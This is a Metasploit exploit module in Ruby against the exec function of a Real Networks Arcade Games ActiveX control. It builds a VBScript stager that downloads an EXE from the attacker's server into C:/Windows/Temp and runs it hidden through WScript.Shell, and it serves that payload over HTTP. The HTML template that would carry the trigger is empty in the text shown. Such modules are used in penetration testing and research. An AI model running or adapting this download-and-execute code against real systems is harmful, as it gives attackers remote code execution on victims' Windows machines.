##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = NormalRanking
include Msf::Exploit::Remote::HttpServer::HTML
include Msf::Exploit::EXE
def initialize(info = {})
super(update_info(info,
'Name' => 'Real Networks Arcade Games StubbyUtil.ProcessMgr ActiveX Arbitrary Code Execution',
'Description' => %q{
This module exploits a vulnerability in Real Networks Arcade Game's ActiveX control. The "exec"
function found in InstallerDlg.dll (v2.6.0.445) allows remote attackers to run arbitrary commands
on the victim machine.
},
'License' => MSF_LICENSE,
'Author' =>
[
'rgod', #Initial discovery, poc
'sinn3r', #msf
],
'References' =>
[
[ 'OSVDB', '71559' ],
[ 'EDB', '17105' ]
],
'Payload' =>
{
'Space' => 1024,
'BadChars' => "\x00",
},
'Platform' => 'win',
'Targets' =>
[
[ 'Windows Universal', {} ],
],
'DisclosureDate' => 'Apr 3 2011',
'DefaultTarget' => 0))
end
# Unfortunately if we echo the vbs cmdstager too many times, we tend to have random missing lines in
# either the payload or the vbs script. To avoid this problem, I ended up writing this custom routine
# that only uses one echo.
def build_vbs(url, payload_name, stager_name)
name_xmlhttp = rand_text_alpha(2)
name_adodb = rand_text_alpha(2)
tmp = "#{@temp_folder}/#{stager_name}"
vbs = "echo Set #{name_xmlhttp} = CreateObject(\"\"Microsoft.XMLHTTP\"\") "
vbs << ": #{name_xmlhttp}.open \"\"GET\"\",\"\"http://#{url}\"\",False : #{name_xmlhttp}.send"
vbs << ": Set #{name_adodb} = CreateObject(\"\"ADODB.Stream\"\") "
vbs << ": #{name_adodb}.Open : #{name_adodb}.Type=1 "
vbs << ": #{name_adodb}.Write #{name_xmlhttp}.responseBody "
vbs << ": #{name_adodb}.SaveToFile \"\"#{@temp_folder}/#{payload_name}.exe\"\",2 "
vbs << ": CreateObject(\"\"WScript.Shell\"\").Run \"\"#{@temp_folder}/#{payload_name}.exe\"\",0 >> #{tmp}"
return vbs
end
def exploit
@payload_name = rand_text_alpha(4)
@temp_folder = "C:/Windows/Temp"
super
end
def on_request_uri(cli, request)
if request.uri =~ /\.exe/
print_status("Sending payload EXE")
return if ((p=regenerate_payload(cli)) == nil)
data = generate_payload_exe( {:code=>p.encoded} )
send_response(cli, data, {'Content-Type' => 'application/octet-stream'} )
return
end
# Payload's URL
payload_src = (datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address(cli.peerhost) : datastore['SRVHOST']
payload_src << ":#{datastore['SRVPORT']}#{get_resource}/#{@payload_name}.exe"
# Create the stager (download + execute payload)
stager_name = rand_text_alpha(6) + ".vbs"
stager = build_vbs(payload_src, @payload_name, stager_name)
html_obj_name = rand_text_alpha(6)
html = <<-EOS
EOS
# Remove extra tabs
html = html.gsub(/^ {4}/, "")
print_status("Sending #{self.name}")
send_response(cli, html, { 'Content-Type' => 'text/html' })
end
end